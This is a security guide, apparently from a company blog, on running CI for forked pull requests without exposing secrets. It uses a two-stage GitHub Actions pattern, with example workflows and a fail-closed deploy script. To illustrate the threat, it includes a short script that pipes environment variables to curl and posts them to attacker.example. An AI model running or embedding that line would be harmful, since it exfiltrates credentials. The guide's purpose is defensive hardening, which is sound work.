Safe CI for forked pull requests: patterns that keep secrets isolated
For developers and repo maintainers who need CI on pull requests from forks without handing untrusted code access to deployment keys, cloud creds, or package tokens. This guide explains the execution model, shows a safe two-stage pattern, and gives concrete workflow snippets and failure modes you can use to design or audit your setup.
TL;DR — Forked pull requests are untrusted code execution. The safest default is: run build/test for fork PRs with no secrets and read-only permissions, then run any secret-using step only in a second workflow that consumes artifacts or metadata from the first and never checks out the fork's code at the privileged stage. Reading time: ~7 min
What it is and where it sits
"Keeping secrets out of untrusted CI workflows" means designing your CI so code proposed from a fork can be compiled, linted, and tested, but cannot read tokens, cloud credentials, signing keys, or write-capable repository credentials.
The architecture point that matters is not Git itself; it is the trust boundary between:
- the event source: a pull request opened from someone else's fork
- the CI runner: a machine/container that executes arbitrary commands from the repo
- the secret store: repository/org secrets, OIDC federation, deployment credentials, package publishing tokens
- the target systems: your repo, artifact store, cloud account, package registry, preview environment
In a typical flow, fork PR CI replaces the old "just run the normal pipeline on every PR" model. That old model is fine for branches inside the same repository where contributors already have write access. It is unsafe for forks because the attacker controls the diff, including workflow files, scripts, test harnesses, Dockerfiles, and build tools.
A safe design usually splits CI into two trust levels:
- Unprivileged PR workflow: triggered by the fork PR event, no secrets, minimal token permissions, runs tests and uploads non-sensitive artifacts.
- Privileged follow-up workflow: triggered by completion of the first workflow or by a maintainer action, has access to secrets, but only reads trusted metadata/artifacts and does not execute fork code.
View as text
[Fork Author] ---- 1. open PR ----> [Repo Hosting]
|
| 2. PR event
v
[Unprivileged CI]
|
| 3. test results/artifacts
v
[Artifact Store]
|
| 4. workflow completed
v
[Privileged CI]
|
| 5. comment/deploy/update status
v
[Repo/Cloud/API]Where it lives in the request/data flow:
- The unprivileged workflow runs on your normal CI runners, but with secrets omitted and token scopes reduced.
- The privileged workflow lives in the same CI system, but is triggered from a trusted event path and should operate only on reviewed metadata or artifacts.
- The secret store is never mounted into the untrusted stage.
How it actually works
Walk one realistic example: an OSS repo accepts fork PRs. You want to run unit tests on every PR, then post coverage and, for maintainers only, deploy a preview environment using cloud credentials.
Step 1: The fork PR triggers an unprivileged workflow
The contributor opens a PR from alice/project-fork into org/project:main.
Your CI starts a workflow tied to pull-request events. That workflow does three important things:
- uses the PR head commit for build/test
- gets no repository secrets
- gets a token with read-only or narrower permissions
Concrete implications:
git checkoutof the PR head is fine here because this stage is already treated as untrusted.- Running
npm test,pytest,go test, static analysis, and building a disposable artifact is fine. - Running
docker login,terraform apply, package publish, release signing, or cloud API calls is not.
If the workflow is correctly constrained, attempts to use missing secrets should fail like ordinary empty-env failures, for example:
$ ./scripts/publish-preview.sh
./scripts/publish-preview.sh: line 8: CLOUD_API_TOKEN: unbound variable
Or if a script tries to call a cloud API with no token:
$ curl -i -H "Authorization: Bearer $CLOUD_API_TOKEN" https://api.example.internal/deploy
HTTP/1.1 401 Unauthorized
content-type: application/json
{"error":"missing or invalid token"}
That failure is good. It proves the untrusted stage cannot reach privileged systems.
Step 2: The unprivileged workflow emits only safe outputs
The workflow uploads:
- test reports
- coverage summaries
- a built frontend bundle or compiled binary if you want later inspection
- a small metadata file containing PR number, commit SHA, and artifact checksum
Do not upload secrets, environment dumps, or logs that may contain credentials from self-hosted runners.
Step 3: A privileged workflow is triggered from a trusted event
The second workflow starts when the first one completes successfully, or after a maintainer explicitly approves running privileged actions.
This workflow has access to secrets or OIDC-based cloud auth. The critical rule: it must not execute code from the fork.
That means:
- do not check out the PR head and run scripts from it
- do not run the fork's Dockerfile, Makefile, package scripts, or test commands here
- if you need source context, check out the trusted base branch or merge commit generated by the platform only if you understand exactly what code is being executed and what files can influence the job
Instead, the privileged workflow should:
- download the artifact from the unprivileged run
- verify it belongs to the expected PR/SHA
- use secrets only for bounded actions such as posting a comment, uploading coverage to a service, or deploying the artifact to an isolated preview environment
Step 4: Why checking out fork code in the privileged stage breaks the model
This is the most common mistake. Teams split workflows correctly, then in the privileged workflow they do something like "checkout PR branch and run ./deploy-preview.sh". That reintroduces arbitrary code execution with secrets.
An attacker changes deploy-preview.sh in the fork to print env vars or exfiltrate credentials:
#!/usr/bin/env bash
env | curl -fsS -X POST https://attacker.example/upload --data-binary @-
If your privileged workflow checks out and runs that script, the split architecture is gone.
Step 5: The privileged workflow performs a narrow action
A safe privileged action looks like:
- download artifact
webapp-dist.tgz - verify checksum from metadata
- authenticate to cloud using OIDC or a short-lived token
- upload artifact to a preview bucket/path named for the PR number
- comment on the PR with the preview URL
No fork-controlled shell scripts are executed in this stage.
When to use it (and when not to)
Use this pattern whenever outsiders can trigger CI on code you do not trust yet.
| Scenario | Recommendation |
|---|---|
| Public repo accepting PRs from forks | Use a strict unprivileged PR workflow by default; add a separate privileged workflow only for bounded post-processing or maintainer-approved actions. |
| Private repo where all contributors already have write access | You may not need the split pattern; branch-based CI with normal secrets may be acceptable if your threat model trusts all writers. |
| You only need lint/test on fork PRs | Keep it simple: one unprivileged workflow, no secrets at all, no second stage. |
| You need preview deployments for fork PRs | Use the two-stage pattern; deploy only prebuilt artifacts in the privileged stage, never fork scripts. |
| Self-hosted runners shared with sensitive workloads | Be extra conservative; prefer isolated ephemeral runners or do not run fork PRs there at all. |
| CI needs to publish packages or sign releases | Do not allow fork PRs anywhere near those credentials; reserve those jobs for trusted branch/tag events only. |
You probably don't need a complex approval-and-artifact chain if:
- the repository is internal and every contributor is already trusted with equivalent access
- fork PRs do not need anything beyond compile/test
- you can postpone all secret-using actions until after merge
Trade-offs
Every benefit here costs something.
-
Benefit: secrets stay out of untrusted code paths
Cost: more workflow complexity. You now maintain two pipelines, artifact handoff, and event wiring. -
Benefit: contributors from forks still get CI feedback
Cost: some checks cannot run pre-merge. Integration tests that require private services or licensed dependencies may need stubs, mocks, or maintainer reruns. -
Benefit: preview deployments remain possible
Cost: you must package artifacts in the untrusted stage and define a narrow deploy interface. That can force build-system changes. -
Benefit: reduced blast radius with read-only tokens and no secrets
Cost: some tools assume broad repo write access for status updates, comments, cache writes, or dependency bots. You need to scope permissions job-by-job. -
Benefit: better cloud security if using short-lived federated auth
Cost: OIDC/IAM setup is operational work, and misconfigured trust policies can fail in ways that look like generic auth errors. -
Benefit: safer use of self-hosted runners
Cost: true safety usually means ephemeral runners, network egress controls, and cleanup guarantees. That is real platform engineering work.
In practice
Example 1: unprivileged workflow for fork PRs
name: pr-checks
on:
pull_request:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: actions/setup-node@v4
with:
node-version: 22
cache: npm
- run: npm ci
- run: npm test -- --ci
- run: npm run build
- run: sha256sum dist.tar.gz > dist.tar.gz.sha256
- uses: actions/upload-artifact@v4
with:
name: pr-build
path: |
dist.tar.gz
dist.tar.gz.sha256
coverage/summary.json
This runs on PRs, checks out the fork code, and builds artifacts without secrets. The gotcha: persist-credentials: false matters because it avoids leaving a repository token in git config that later steps or scripts could reuse.
Example 2: privileged follow-up that never executes fork code
name: pr-postprocess
on:
workflow_run:
workflows: [pr-checks]
types: [completed]
permissions:
contents: read
pull-requests: write
id-token: write
jobs:
deploy-preview:
if: ${{ github.event.workflow_run.conclusion == 'success' }}
runs-on: ubuntu-latest
steps:
- name: Download artifact from triggering run
uses: actions/github-script@v7
with:
script: |
const run_id = context.payload.workflow_run.id;
const { owner, repo } = context.repo;
const arts = await github.rest.actions.listWorkflowRunArtifacts({ owner, repo, run_id });
const art = arts.data.artifacts.find(a => a.name === 'pr-build');
if (!art) core.setFailed('artifact pr-build not found');
const zip = await github.rest.actions.downloadArtifact({ owner, repo, artifact_id: art.id, archive_format: 'zip' });
require('fs').writeFileSync(`${process.env.RUNNER_TEMP}/pr-build.zip`, Buffer.from(zip.data));
- run: unzip "$RUNNER_TEMP/pr-build.zip" -d "$RUNNER_TEMP/pr-build"
- run: sha256sum -c "$RUNNER_TEMP/pr-build/dist.tar.gz.sha256"
- name: Authenticate to cloud with OIDC
run: ./scripts/trusted/deploy-artifact.sh "$RUNNER_TEMP/pr-build/dist.tar.gz"
- name: Comment on PR
uses: actions/github-script@v7
with:
script: |
const pr = context.payload.workflow_run.pull_requests[0];
if (!pr) core.setFailed('no associated PR');
await github.rest.issues.createComment({
...context.repo,
issue_number: pr.number,
body: 'Preview deployed from verified artifact.'
});
This workflow uses elevated permissions, but it downloads and deploys only the artifact from the earlier run. The gotcha: keep deploy logic in a trusted path from the base repository, such as scripts/trusted/, and never replace that with a script from the PR branch.
Example 3: shell guardrails for scripts that must fail closed
#!/usr/bin/env bash
set -euo pipefail
: "${PREVIEW_BUCKET:?PREVIEW_BUCKET is required}"
: "${PR_NUMBER:?PR_NUMBER is required}"
: "${ARTIFACT_PATH:?ARTIFACT_PATH is required}"
case "$ARTIFACT_PATH" in
/tmp/*|/home/runner/work/*) ;;
*)
echo "refusing to deploy artifact from unexpected path: $ARTIFACT_PATH" >&2
exit 64
;;
esac
aws s3 cp "$ARTIFACT_PATH" "s3://${PREVIEW_BUCKET}/pr-${PR_NUMBER}/dist.tar.gz" --no-progress
This is the kind of deploy script you want in the privileged stage: fail-closed, explicit inputs, and no dynamic execution. The gotcha: path allowlists are crude but useful; they stop accidental use of a checked-out workspace path containing fork-controlled files.
⚠️ If you use self-hosted runners for fork PRs, treat the runner itself as exposed. Do not place long-lived cloud credentials on disk, do not share the runner with production jobs, and prefer destroying the runner after each job. A compromised runner can leak more than CI secrets: SSH keys, Docker socket access, cached credentials, and network reachability.
Common edge cases experienced teams ask about:
- What about caches? Dependency caches can become a cross-run data channel. Do not store secrets in caches; scope cache keys tightly and assume fork jobs can read cache contents if your CI platform allows shared cache restoration.
- What about private package registries? If tests require private dependencies, use a separate strategy: mirror a minimal read-only package set for CI, or only run those tests after maintainer approval in a trusted context.
- What about comments/status updates from fork PR jobs? Prefer platform-native status reporting that does not require broad write scopes. If comments require write permission, do them in the privileged follow-up workflow.
- What about generated merge refs? Be careful. A merge ref can still include attacker-controlled content from the PR. It may be useful for compiling/testing compatibility, but not for running secret-bearing scripts.
Further reading
- GitHub Docs: "Events that trigger workflows" and "Workflow permissions"
- GitHub Docs: "Security hardening for GitHub Actions"
- OpenID Connect Core 1.0
- NIST SP 800-204C
- OWASP CI/CD Security Cheat Sheet
This article was written by an AI system and published pending human review. Verify anything you intend to act on.
Have a project in mind?
Get an instant AI price estimate for it, or talk directly to our team.
One email a month on what we learn building with AI